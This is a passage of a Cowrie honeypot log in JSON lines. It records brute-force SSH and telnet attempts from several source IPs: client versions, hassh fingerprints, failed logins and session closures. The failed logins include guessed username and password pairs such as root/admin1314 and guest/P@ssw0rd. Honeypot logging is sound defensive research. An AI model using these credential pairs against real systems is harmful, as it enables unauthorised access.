-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:55.203320Z","src_ip":"43.173.69.147","session":"218b845a87aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"aaa","message":"login attempt [user/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:55.509780Z","src_ip":"43.173.69.147","session":"218b845a87aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:56.581911Z","src_ip":"43.173.69.147","session":"218b845a87aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":44032,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79b0a1eb2dd","protocol":"ssh","message":"New connection: 154.81.14.172:44032 (10.17.0.5:22) [session: d79b0a1eb2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:47.099852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:47.104194Z","src_ip":"154.81.14.172","session":"d79b0a1eb2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:47.321829Z","src_ip":"154.81.14.172","session":"d79b0a1eb2dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abcd1234","message":"login attempt [ubuntu/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:48.768286Z","src_ip":"154.81.14.172","session":"d79b0a1eb2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:49.989470Z","src_ip":"154.81.14.172","session":"d79b0a1eb2dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50614,"dst_ip":"159.203.135.109","dst_port":23,"session":"09e197a18260","protocol":"telnet","message":"New connection: 135.148.33.91:50614 (159.203.135.109:23) [session: 09e197a18260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:33:54.209630Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":42608,"dst_ip":"159.203.135.109","dst_port":22,"session":"078c7625fac9","protocol":"ssh","message":"New connection: 103.158.40.65:42608 (159.203.135.109:22) [session: 078c7625fac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:15.249933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:15.254797Z","src_ip":"103.158.40.65","session":"078c7625fac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:15.463933Z","src_ip":"103.158.40.65","session":"078c7625fac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test555","message":"login attempt [ubuntu/test555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:16.324383Z","src_ip":"103.158.40.65","session":"078c7625fac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:17.535243Z","src_ip":"103.158.40.65","session":"078c7625fac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.669029235839844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:34:28.878284Z","src_ip":"135.148.33.91","session":"09e197a18260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"18815346191c","protocol":"telnet","message":"New connection: 135.148.33.91:37656 (159.203.135.109:23) [session: 18815346191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:10.213954Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":60708,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd03be9076c4","protocol":"ssh","message":"New connection: 154.81.14.172:60708 (10.17.0.5:22) [session: bd03be9076c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:18.480308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:18.486063Z","src_ip":"154.81.14.172","session":"bd03be9076c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:19.554527Z","src_ip":"154.81.14.172","session":"bd03be9076c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1314","message":"login attempt [root/admin1314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:20.206241Z","src_ip":"154.81.14.172","session":"bd03be9076c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:21.427610Z","src_ip":"154.81.14.172","session":"bd03be9076c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.44594383239746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:44.659735Z","src_ip":"135.148.33.91","session":"18815346191c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.83.114.88","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f854cb0afdc","protocol":"ssh","message":"New connection: 223.83.114.88:45192 (10.17.0.5:22) [session: 4f854cb0afdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:53.374804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:35:53.383682Z","src_ip":"223.83.114.88","session":"4f854cb0afdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7159,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76ea05938e1","protocol":"ssh","message":"New connection: 131.161.219.137:7159 (159.203.135.109:22) [session: c76ea05938e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:12.034428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:12.039385Z","src_ip":"131.161.219.137","session":"c76ea05938e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:12.168862Z","src_ip":"131.161.219.137","session":"c76ea05938e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1","message":"login attempt [test/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:12.718418Z","src_ip":"131.161.219.137","session":"c76ea05938e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:13.850185Z","src_ip":"131.161.219.137","session":"c76ea05938e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":36684,"dst_ip":"10.17.0.5","dst_port":22,"session":"546f17d19e3a","protocol":"ssh","message":"New connection: 181.97.227.163:36684 (10.17.0.5:22) [session: 546f17d19e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:15.087730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:15.093605Z","src_ip":"181.97.227.163","session":"546f17d19e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:15.299389Z","src_ip":"181.97.227.163","session":"546f17d19e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234rfv","message":"login attempt [ubuntu/1234rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:16.151219Z","src_ip":"181.97.227.163","session":"546f17d19e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:17.359487Z","src_ip":"181.97.227.163","session":"546f17d19e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":39384,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba3559bdd261","protocol":"ssh","message":"New connection: 43.173.69.147:39384 (159.203.135.109:22) [session: ba3559bdd261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:47.613891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:47.621507Z","src_ip":"43.173.69.147","session":"ba3559bdd261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:47.689536Z","src_ip":"43.173.69.147","session":"ba3559bdd261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P@ssw0rd","message":"login attempt [guest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:47.993923Z","src_ip":"43.173.69.147","session":"ba3559bdd261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:49.067915Z","src_ip":"43.173.69.147","session":"ba3559bdd261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96802b413f4","protocol":"ssh","message":"New connection: 154.81.14.172:49150 (10.17.0.5:22) [session: d96802b413f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:49.157533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:49.161429Z","src_ip":"154.81.14.172","session":"d96802b413f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:50.244301Z","src_ip":"154.81.14.172","session":"d96802b413f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12!@","message":"login attempt [root/admin12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:50.907933Z","src_ip":"154.81.14.172","session":"d96802b413f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:36:52.131834Z","src_ip":"154.81.14.172","session":"d96802b413f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.122.91.124","src_port":50091,"dst_ip":"159.203.135.109","dst_port":23,"session":"921caa590247","protocol":"telnet","message":"New connection: 190.122.91.124:50091 (159.203.135.109:23) [session: 921caa590247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:03.994792Z"}
{"eventid":"cowrie.session.closed","duration":12.598265409469604,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:16.592928Z","src_ip":"190.122.91.124","session":"921caa590247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":35754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb1411f1bfb","protocol":"ssh","message":"New connection: 181.97.227.163:35754 (10.17.0.5:22) [session: ccb1411f1bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:23.024830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:23.029290Z","src_ip":"181.97.227.163","session":"ccb1411f1bfb","protocol":"ssh"}
